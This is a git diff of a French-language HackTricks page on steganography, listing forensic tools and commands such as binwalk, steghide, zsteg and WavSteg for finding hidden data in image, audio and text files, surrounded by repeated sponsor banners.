* Vous travaillez dans une **entreprise de cybersécurité** ? Vous souhaitez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,93 +2,95 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des analyses de menace proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) dès aujourd'hui.
|
||||
Trouvez les vulnérabilités les plus importantes pour les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des scans de menaces proactifs, trouve des problèmes dans toute votre pile technologique, des API aux applications web et systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## Extraction de données à partir de tous les fichiers
|
||||
## Extraction de données de tous les fichiers
|
||||
|
||||
### Binwalk <a href="#binwalk" id="binwalk"></a>
|
||||
|
||||
Binwalk est un outil de recherche de fichiers binaires, tels que des images et des fichiers audio, pour trouver des fichiers et des données cachés.\
|
||||
Il peut être installé avec `apt`, et la [source](https://github.com/ReFirmLabs/binwalk) peut être trouvée sur Github.\
|
||||
**Commandes utiles**:\
|
||||
Binwalk est un outil de recherche dans les fichiers binaires, comme les images et les fichiers audio, pour les fichiers cachés et les données intégrées.\
|
||||
Il peut être installé avec `apt`, et le [source](https://github.com/ReFirmLabs/binwalk) est disponible sur Github.\
|
||||
**Commandes utiles** :\
|
||||
`binwalk fichier` : Affiche les données intégrées dans le fichier donné\
|
||||
`binwalk -e fichier` : Affiche et extrait les données du fichier donné\
|
||||
`binwalk --dd ".*" fichier` : Affiche et extrait les données du fichier donné
|
||||
|
||||
### Foremost <a href="#foremost" id="foremost"></a>
|
||||
|
||||
Foremost est un programme qui récupère des fichiers en fonction de leurs en-têtes, de leurs pieds de page et de leurs structures de données internes. Je le trouve particulièrement utile lorsqu'il s'agit d'images png. Vous pouvez sélectionner les fichiers que Foremost extraira en modifiant le fichier de configuration dans **/etc/foremost.conf.**\
|
||||
Il peut être installé avec `apt`, et la [source](https://github.com/korczis/foremost) peut être trouvée sur Github.\
|
||||
**Commandes utiles:**\
|
||||
Foremost est un programme qui récupère les fichiers en fonction de leurs en-têtes, pieds de page et structures de données internes. Je le trouve particulièrement utile pour traiter les images png. Vous pouvez sélectionner les fichiers que Foremost extraira en modifiant le fichier de configuration dans **/etc/foremost.conf.**\
|
||||
Il peut être installé avec `apt`, et le [source](https://github.com/korczis/foremost) est disponible sur Github.\
|
||||
**Commandes utiles :**\
|
||||
`foremost -i fichier` : extrait les données du fichier donné.
|
||||
|
||||
### Exiftool <a href="#exiftool" id="exiftool"></a>
|
||||
|
||||
Parfois, des informations importantes sont cachées dans les métadonnées d'une image ou d'un fichier ; exiftool peut être très utile pour afficher les métadonnées du fichier.\
|
||||
Parfois, des informations importantes sont cachées dans les métadonnées d'une image ou d'un fichier ; exiftool peut être très utile pour visualiser les métadonnées d'un fichier.\
|
||||
Vous pouvez l'obtenir [ici](https://www.sno.phy.queensu.ca/\~phil/exiftool/)\
|
||||
**Commandes utiles:**\
|
||||
`exiftool fichier` : affiche les métadonnées du fichier donné
|
||||
**Commandes utiles :**\
|
||||
`exiftool fichier` : montre les métadonnées du fichier donné
|
||||
|
||||
### Exiv2 <a href="#exiv2" id="exiv2"></a>
|
||||
|
||||
Un outil similaire à exiftool.\
|
||||
Il peut être installé avec `apt`, et la [source](https://github.com/Exiv2/exiv2) peut être trouvée sur Github.\
|
||||
Il peut être installé avec `apt`, et le [source](https://github.com/Exiv2/exiv2) est disponible sur Github.\
|
||||
[Site officiel](http://www.exiv2.org/)\
|
||||
**Commandes utiles:**\
|
||||
`exiv2 fichier` : affiche les métadonnées du fichier donné
|
||||
**Commandes utiles :**\
|
||||
`exiv2 fichier` : montre les métadonnées du fichier donné
|
||||
|
||||
### File
|
||||
|
||||
Vérifiez quel type de fichier vous avez
|
||||
Vérifiez le type de fichier que vous avez
|
||||
|
||||
### Strings
|
||||
|
||||
Extrait les chaînes de caractères du fichier.\
|
||||
Commandes utiles:\
|
||||
`strings -n 6 fichier`: Extrait les chaînes de caractères d'une longueur minimale de 6\
|
||||
`strings -n 6 fichier | head -n 20`: Extrait les 20 premières chaînes de caractères d'une longueur minimale de 6\
|
||||
`strings -n 6 fichier | tail -n 20`: Extrait les 20 dernières chaînes de caractères d'une longueur minimale de 6\
|
||||
`strings -e s -n 6 fichier`: Extrait les chaînes de caractères 7 bits\
|
||||
`strings -e S -n 6 fichier`: Extrait les chaînes de caractères 8 bits\
|
||||
`strings -e l -n 6 fichier`: Extrait les chaînes de caractères 16 bits (little-endian)\
|
||||
`strings -e b -n 6 fichier`: Extrait les chaînes de caractères 16 bits (big-endian)\
|
||||
`strings -e L -n 6 fichier`: Extrait les chaînes de caractères 32 bits (little-endian)\
|
||||
`strings -e B -n 6 fichier`: Extrait les chaînes de caractères 32 bits (big-endian)
|
||||
Commandes utiles :\
|
||||
`strings -n 6 fichier` : Extrait les chaînes avec une longueur minimale de 6\
|
||||
`strings -n 6 fichier | head -n 20` : Extrait les 20 premières chaînes avec une longueur minimale de 6\
|
||||
`strings -n 6 fichier | tail -n 20` : Extrait les 20 dernières chaînes avec une longueur minimale de 6\
|
||||
`strings -e s -n 6 fichier` : Extrait les chaînes de 7 bits\
|
||||
`strings -e S -n 6 fichier` : Extrait les chaînes de 8 bits\
|
||||
`strings -e l -n 6 fichier` : Extrait les chaînes de 16 bits (little-endian)\
|
||||
`strings -e b -n 6 fichier` : Extrait les chaînes de 16 bits (big-endian)\
|
||||
`strings -e L -n 6 fichier` : Extrait les chaînes de 32 bits (little-endian)\
|
||||
`strings -e B -n 6 fichier` : Extrait les chaînes de 32 bits (big-endian)
|
||||
|
||||
### cmp - Comparaison
|
||||
|
||||
Si vous avez une image/son/vidéo **modifiée**, vérifiez si vous pouvez **trouver l'originale exacte** sur internet, puis **comparez les deux** fichiers avec:
|
||||
Si vous avez une image/audio/vidéo **modifiée**, vérifiez si vous pouvez **trouver l'original exact** sur internet, puis **comparez les deux** fichiers avec :
|
||||
```
|
||||
cmp original.jpg stego.jpg -b -l
|
||||
```
|
||||
## Extraction de données cachées dans du texte
|
||||
## Extraction de données cachées dans le texte
|
||||
|
||||
### Données cachées dans les espaces
|
||||
|
||||
Si vous constatez qu'une **ligne de texte** est **plus grande** qu'elle ne devrait l'être, il est possible que des **informations cachées** soient incluses à l'intérieur des **espaces** à l'aide de caractères invisibles.\
|
||||
Si vous constatez qu'une **ligne de texte** est **plus grande** qu'elle ne devrait l'être, alors des **informations cachées** pourraient être incluses à l'intérieur des **espaces** à l'aide de caractères invisibles.\
|
||||
Pour **extraire** les **données**, vous pouvez utiliser : [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour créer et **automatiser facilement** des flux de travail alimentés par les outils communautaires les plus avancés au monde.\
|
||||
Accédez dès aujourd'hui :
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks) pour construire et **automatiser des workflows** facilement, alimentés par les outils communautaires **les plus avancés**.\
|
||||
Obtenez l'accès aujourd'hui :
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -100,43 +102,43 @@ Outil [GraphicMagick](https://imagemagick.org/script/download.php) pour vérifie
|
|||
```
|
||||
./magick identify -verbose stego.jpg
|
||||
```
|
||||
Si l'image est endommagée, vous pouvez peut-être la restaurer en ajoutant simplement un commentaire de métadonnées (si elle est très endommagée, cela ne fonctionnera pas) :
|
||||
Si l'image est endommagée, vous pourriez être capable de la restaurer en ajoutant simplement un commentaire de métadonnées (si elle est très gravement endommagée, cela ne fonctionnera pas) :
|
||||
```bash
|
||||
./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg
|
||||
```
|
||||
### Steghide \[JPEG, BMP, WAV, AU] <a href="#steghide" id="steghide"></a>
|
||||
|
||||
Steghide est un programme de stéganographie qui cache des données dans différents types de fichiers image et audio. Il prend en charge les formats de fichier suivants : `JPEG, BMP, WAV et AU`. Il est également utile pour extraire des données intégrées et chiffrées à partir d'autres fichiers.\
|
||||
Il peut être installé avec `apt`, et la [source](https://github.com/StefanoDeVuono/steghide) peut être trouvée sur Github.\
|
||||
Steghide est un programme de stéganographie qui cache des données dans divers types de fichiers image et audio. Il prend en charge les formats de fichiers suivants : `JPEG, BMP, WAV et AU`. Il est également utile pour extraire des données intégrées et cryptées d'autres fichiers.\
|
||||
Il peut être installé avec `apt`, et le [source](https://github.com/StefanoDeVuono/steghide) est disponible sur Github.\
|
||||
**Commandes utiles :**\
|
||||
`steghide info fichier` : affiche des informations sur la présence ou non de données intégrées dans un fichier.\
|
||||
`steghide extract -sf fichier [--passphrase mot de passe]` : extrait les données intégrées d'un fichier \[en utilisant un mot de passe]
|
||||
`steghide info file` : affiche des informations sur la présence ou non de données intégrées dans un fichier.\
|
||||
`steghide extract -sf file [--passphrase password]` : extrait les données intégrées d'un fichier \[en utilisant un mot de passe]
|
||||
|
||||
Vous pouvez également extraire le contenu de steghide en utilisant le web : [https://futureboy.us/stegano/decinput.html](https://futureboy.us/stegano/decinput.html)
|
||||
Vous pouvez également extraire du contenu de steghide en utilisant le web : [https://futureboy.us/stegano/decinput.html](https://futureboy.us/stegano/decinput.html)
|
||||
|
||||
**Bruteforcer** Steghide : [stegcracker](https://github.com/Paradoxis/StegCracker.git) `stegcracker <fichier> [<liste de mots>]`
|
||||
**Bruteforcing** Steghide : [stegcracker](https://github.com/Paradoxis/StegCracker.git) `stegcracker <file> [<wordlist>]`
|
||||
|
||||
### Zsteg \[PNG, BMP] <a href="#zsteg" id="zsteg"></a>
|
||||
|
||||
zsteg est un outil qui peut détecter des données cachées dans des fichiers png et bmp.\
|
||||
Pour l'installer : `gem install zsteg`. La source peut également être trouvée sur [Github](https://github.com/zed-0xff/zsteg)\
|
||||
zsteg est un outil qui peut détecter des données cachées dans les fichiers png et bmp.\
|
||||
Pour l'installer : `gem install zsteg`. La source est également disponible sur [Github](https://github.com/zed-0xff/zsteg)\
|
||||
**Commandes utiles :**\
|
||||
`zsteg -a fichier` : Exécute chaque méthode de détection sur le fichier donné\
|
||||
`zsteg -E fichier` : Extrait les données avec la charge utile donnée (exemple : zsteg -E b4,bgr,msb,xy nom.png)
|
||||
`zsteg -a file` : Exécute chaque méthode de détection sur le fichier donné\
|
||||
`zsteg -E file` : Extrait les données avec la charge utile donnée (exemple : zsteg -E b4,bgr,msb,xy name.png)
|
||||
|
||||
### stegoVeritas JPG, PNG, GIF, TIFF, BMP
|
||||
|
||||
Capable d'une grande variété de trucs simples et avancés, cet outil peut vérifier les métadonnées des fichiers, créer des images transformées, forcer le LSB, et plus encore. Consultez `stegoveritas.py -h` pour connaître toutes ses fonctionnalités. Exécutez `stegoveritas.py stego.jpg` pour exécuter toutes les vérifications.
|
||||
Capable d'une grande variété de trucs simples et avancés, cet outil peut vérifier les métadonnées des fichiers, créer des images transformées, forcer le LSB et plus encore. Consultez `stegoveritas.py -h` pour connaître toutes ses capacités. Exécutez `stegoveritas.py stego.jpg` pour lancer tous les contrôles.
|
||||
|
||||
### Stegsolve
|
||||
|
||||
Parfois, il y a un message ou un texte caché dans l'image elle-même qui, pour le visualiser, doit avoir des filtres de couleur appliqués, ou certains niveaux de couleur modifiés. Bien que vous puissiez le faire avec quelque chose comme GIMP ou Photoshop, Stegsolve facilite la tâche. C'est un petit outil Java qui applique de nombreux filtres de couleur utiles sur les images ; dans les défis CTF, Stegsolve est souvent un véritable gain de temps.\
|
||||
Parfois, un message ou un texte caché dans l'image elle-même doit être visualisé en appliquant des filtres de couleur ou en modifiant certains niveaux de couleur. Bien que cela puisse être fait avec quelque chose comme GIMP ou Photoshop, Stegsolve le rend plus facile. C'est un petit outil Java qui applique de nombreux filtres de couleur utiles sur les images ; dans les défis CTF, Stegsolve est souvent un véritable gain de temps.\
|
||||
Vous pouvez l'obtenir depuis [Github](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve)\
|
||||
Pour l'utiliser, il suffit d'ouvrir l'image et de cliquer sur les boutons `<` `>`.
|
||||
Pour l'utiliser, ouvrez simplement l'image et cliquez sur les boutons `<` `>`.
|
||||
|
||||
### FFT
|
||||
|
||||
Pour trouver du contenu caché en utilisant la transformée de Fourier rapide :
|
||||
Pour trouver du contenu caché en utilisant la transformation de Fourier rapide :
|
||||
|
||||
* [http://bigwww.epfl.ch/demo/ip/demos/FFT/](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
|
||||
* [https://www.ejectamenta.com/Fourifier-fullscreen/](https://www.ejectamenta.com/Fourifier-fullscreen/)
|
||||
|
@ -145,16 +147,16 @@ Pour trouver du contenu caché en utilisant la transformée de Fourier rapide :
|
|||
|
||||
### Stegpy \[PNG, BMP, GIF, WebP, WAV]
|
||||
|
||||
Un programme pour encoder des informations dans des fichiers image et audio par la stéganographie. Il peut stocker les données soit en texte brut, soit chiffrées.\
|
||||
Un programme pour encoder des informations dans des fichiers image et audio via la stéganographie. Il peut stocker les données sous forme de texte en clair ou cryptées.\
|
||||
Trouvez-le sur [Github](https://github.com/dhsdshdhk/stegpy).
|
||||
|
||||
### Pngcheck
|
||||
|
||||
Obtenez des détails sur un fichier PNG (ou découvrez même s'il s'agit en réalité d'autre chose !).\
|
||||
`apt-get install pngcheck` : Installe l'outil\
|
||||
Obtenez des détails sur un fichier PNG (ou même découvrez s'il est en réalité autre chose !).\
|
||||
`apt-get install pngcheck` : Installez l'outil\
|
||||
`pngcheck stego.png` : Obtenez des informations sur le PNG
|
||||
|
||||
### D'autres outils d'image qui méritent d'être mentionnés
|
||||
### Quelques autres outils d'image à mentionner
|
||||
|
||||
* [http://magiceye.ecksdee.co.uk/](http://magiceye.ecksdee.co.uk/)
|
||||
* [https://29a.ch/sandbox/2012/imageerrorlevelanalysis/](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
|
||||
|
@ -162,7 +164,7 @@ Obtenez des détails sur un fichier PNG (ou découvrez même s'il s'agit en réa
|
|||
* [https://www.openstego.com/](https://www.openstego.com/)
|
||||
* [https://diit.sourceforge.net/](https://diit.sourceforge.net/)
|
||||
|
||||
## Extraction de données à partir de fichiers audio
|
||||
## Extraire des données des audios
|
||||
|
||||
### [Steghide \[JPEG, BMP, WAV, AU\]](stego-tricks.md#steghide) <a href="#steghide" id="steghide"></a>
|
||||
|
||||
|
@ -170,26 +172,27 @@ Obtenez des détails sur un fichier PNG (ou découvrez même s'il s'agit en réa
|
|||
|
||||
### ffmpeg
|
||||
|
||||
ffmpeg peut être utilisé pour vérifier l'intégrité des fichiers audio, en signalant diverses informations sur le fichier, ainsi que les erreurs éventuelles qu'il trouve.\
|
||||
ffmpeg peut être utilisé pour vérifier l'intégrité des fichiers audio, en rapportant diverses informations sur le fichier, ainsi que toutes les erreurs trouvées.\
|
||||
`ffmpeg -v info -i stego.mp3 -f null -`
|
||||
|
||||
### Wavsteg \[WAV] <a href="#wavsteg" id="wavsteg"></a>
|
||||
|
||||
WavSteg est un outil Python3 qui peut cacher des données, en utilisant le bit de poids le moins élevé, dans des fichiers wav. Il peut également rechercher et extraire des données à partir de fichiers wav.\
|
||||
WavSteg est un outil Python3 qui peut cacher des données, en utilisant le bit de poids faible, dans des fichiers wav. Il peut également rechercher et extraire des données de fichiers wav.\
|
||||
Vous pouvez l'obtenir depuis [Github](https://github.com/ragibson/Steganography#WavSteg)\
|
||||
Commandes utiles :\
|
||||
`python3 WavSteg.py -r -b 1 -s fichier_audio -o fichier_sortie` : Extrait vers un fichier de sortie (en ne prenant que 1 bit de poids le moins élevé)\
|
||||
`python3 WavSteg.py -r -b 2 -s fichier_audio -o fichier_sortie` : Extrait vers un fichier de sortie (en ne prenant que 2 bits de poids le moins élevé)
|
||||
`python3 WavSteg.py -r -b 1 -s soundfile -o outputfile` : Extrait dans un fichier de sortie (en prenant seulement 1 lsb)\
|
||||
`python3 WavSteg.py -r -b 2 -s soundfile -o outputfile` : Extrait dans un fichier de sortie (en prenant seulement 2 lsb)
|
||||
|
||||
### Deepsound
|
||||
|
||||
Cachez, et vérifiez, des informations chiffrées avec AES-265 dans des fichiers audio. Téléchargez depuis [la page officielle](http://jpinsoft.net/deepsound/download.aspx).\
|
||||
Pour rechercher des informations cachées, lancez simplement le programme et ouvrez le fichier audio. Si DeepSound trouve des données cachées, vous devrez fournir le mot de passe pour les déverrouiller.
|
||||
Cachez et vérifiez les informations cryptées avec AES-265 dans les fichiers sonores. Téléchargez depuis [la page officielle](http://jpinsoft.net/deepsound/download.aspx).\
|
||||
Pour rechercher des informations cachées, exécutez simplement le programme et ouvrez le fichier sonore. Si DeepSound trouve des données cachées, vous devrez fournir le mot de passe pour les déverrouiller.
|
||||
|
||||
### Sonic visualizer <a href="#sonic-visualizer" id="sonic-visualizer"></a>
|
||||
|
||||
Sonic visualizer est un outil pour visualiser et analyser le contenu des fichiers audio. Il peut être très utile lors de défis de stéganographie audio ; vous pouvez révéler des formes cachées dans les fichiers audio que de nombreux autres outils ne détecteront pas.\
|
||||
Si vous êtes bloqué, vérifiez toujours le spectrogramme de l'audio. [Site officiel](https://www.sonicvisualiser.org/)
|
||||
Si vous êtes bloqué, vérifiez toujours le spectrogramme de l'audio. [Site Officiel](https://www.sonicvisualiser.org/)
|
||||
|
||||
### Tons DTMF - Tons de numérotation
|
||||
|
||||
* [https://unframework.github.io/dtmf-detect/](https://unframework.github.io/dtmf-detect/)
|
||||
|
@ -199,12 +202,12 @@ Si vous êtes bloqué, vérifiez toujours le spectrogramme de l'audio. [Site off
|
|||
|
||||
### Longueur binaire SQRT - Code QR
|
||||
|
||||
Si vous recevez des données binaires avec une longueur SQRT correspondant à un nombre entier, cela pourrait être une sorte de code QR :
|
||||
Si vous recevez des données binaires avec une longueur SQRT d'un nombre entier, cela pourrait être une sorte de code QR :
|
||||
```
|
||||
import math
|
||||
math.sqrt(2500) #50
|
||||
```
|
||||
Pour convertir les "1" et les "0" binaires en une image appropriée : [https://www.dcode.fr/binary-image](https://github.com/carlospolop/hacktricks/tree/32fa51552498a17d266ff03e62dfd1e2a61dcd10/binary-image/README.md)\
|
||||
Pour convertir des "1" et "0" binaires en une image appropriée : [https://www.dcode.fr/binary-image](https://github.com/carlospolop/hacktricks/tree/32fa51552498a17d266ff03e62dfd1e2a61dcd10/binary-image/README.md)\
|
||||
Pour lire un code QR : [https://online-barcode-reader.inliteresearch.com/](https://online-barcode-reader.inliteresearch.com/)
|
||||
|
||||
### Braille
|
||||
|
@ -218,18 +221,20 @@ Pour lire un code QR : [https://online-barcode-reader.inliteresearch.com/](https
|
|||
|
||||
<figure><img src="../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) dès aujourd'hui.
|
||||
Trouvez les vulnérabilités qui comptent le plus afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des scans de menaces proactifs, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS du débutant à l'expert avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,39 +2,41 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
